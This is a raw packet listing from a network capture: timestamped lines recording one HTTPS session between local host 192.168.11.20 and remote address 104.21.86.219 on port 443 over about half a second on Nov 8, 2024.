                                                                                                                                          Nov 8, 2024 11:27:46.589947939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.589998007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.591485977 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.591634035 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.591682911 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.591829062 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.591829062 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.591877937 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.591877937 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.591908932 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.591944933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.593607903 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.593669891 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.593825102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.593826056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.593882084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.593902111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.593952894 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.594978094 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.595027924 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.595189095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.595189095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.595189095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.595247030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.595292091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.595684052 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.596811056 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.596865892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.597074032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.597074032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.597126961 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.597151995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.597151995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.598701000 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.598766088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.598910093 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.598910093 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.598951101 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.598984003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.598984003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.600581884 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.600631952 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.600791931 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.600845098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.600867033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.600867033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.600867033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.602566004 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.602628946 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.602766991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.602766991 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.602811098 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.602832079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.602832079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.602931976 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.603163004 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.603388071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.603419065 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.620290041 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.802856922 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.802872896 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.803118944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.803118944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.803133965 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.803456068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.804610968 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.804625034 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.804785967 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.804785967 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.804832935 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.804841042 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.804927111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.805056095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.809571981 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.809705019 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.809863091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.809878111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.810095072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811347961 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.811362982 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.811486959 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.811513901 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811590910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811590910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811590910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811590910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811608076 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.811619997 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811729908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.811729908 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.813113928 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.813302040 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.813316107 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.813328028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.813328028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.813339949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.813522100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.813522100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.815052986 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.815067053 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.815229893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.815229893 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.815279961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.815279961 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.815287113 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.815347910 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.815360069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.817337990 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.817353010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.817507029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.817507029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.817517042 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.817601919 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.817646980 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819081068 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.819092989 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.819248915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819248915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819292068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819292068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819299936 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.819359064 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819397926 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819439888 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.819566965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.819575071 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.819681883 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.821285963 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.821299076 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.821448088 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.821513891 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.821513891 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.821521997 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.821527958 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.821630955 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.821716070 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.822911024 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.822922945 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.823074102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.823074102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.823085070 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.823168993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.823218107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.824749947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.824841976 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.824913025 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.824985981 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.824991941 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.825125933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.826391935 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.826404095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.826570034 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.826570034 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.826579094 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.826621056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.826714993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.826714993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.826843977 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.826998949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.828527927 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.828540087 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.828691959 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.828692913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.828711033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.828717947 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.828766108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.828766108 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.828896999 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.830327034 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.830483913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.830483913 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.830497980 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.830583096 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.830590010 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.830641031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.830641031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.831338882 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.831419945 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.831484079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.831484079 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.831532001 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.831532001 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.831537962 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.831633091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.833056927 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.833070993 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.833286047 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.833297014 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.833390951 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.835613966 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.835628033 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.835762024 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.835762024 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.835772991 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.835808992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.835858107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.835858107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.835906982 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.836878061 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.836891890 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.837023020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.837023020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.837095022 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.837095022 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.837110996 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.837120056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.837169886 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.838725090 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.838742018 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.838751078 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.838759899 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.838911057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.838911057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.838927031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.839013100 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.840466976 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.840727091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.840727091 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.840738058 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.840749979 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:46.840958118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.840958118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.973422050 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:46.977984905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.047542095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.047655106 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.047733068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.047733068 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.047784090 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.047811031 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.047966003 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.049745083 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.049801111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.049941063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.049941063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.049988031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.049988031 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050014973 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.050045013 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050163984 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050569057 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.050688028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050688028 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050723076 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.050807953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050825119 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.050904036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.050951958 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.056457043 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.056513071 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.056654930 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.056693077 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.056706905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.056706905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.056833029 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.058733940 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.058789015 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.058922052 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.058923006 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.058969021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.058969021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.058994055 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.059030056 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.059133053 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.060329914 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.060381889 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.060556889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.060556889 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.060616970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.060642958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.060666084 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.060818911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.062000036 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.062055111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.062196970 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.062238932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.062238932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.062238932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.062271118 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.062438965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.063807011 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.063868046 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.063924074 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.064033985 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.064033985 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.064080954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.064080954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.064102888 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.064127922 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.064244032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.066240072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.066294909 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.066431999 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.066431999 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.066476107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.066476107 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.066477060 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.066500902 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.066649914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.067709923 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.067754030 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.067912102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.067975998 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.067975998 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:47.068000078 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:47.068164110 CET49729443192.168.11.20104.21.86.219
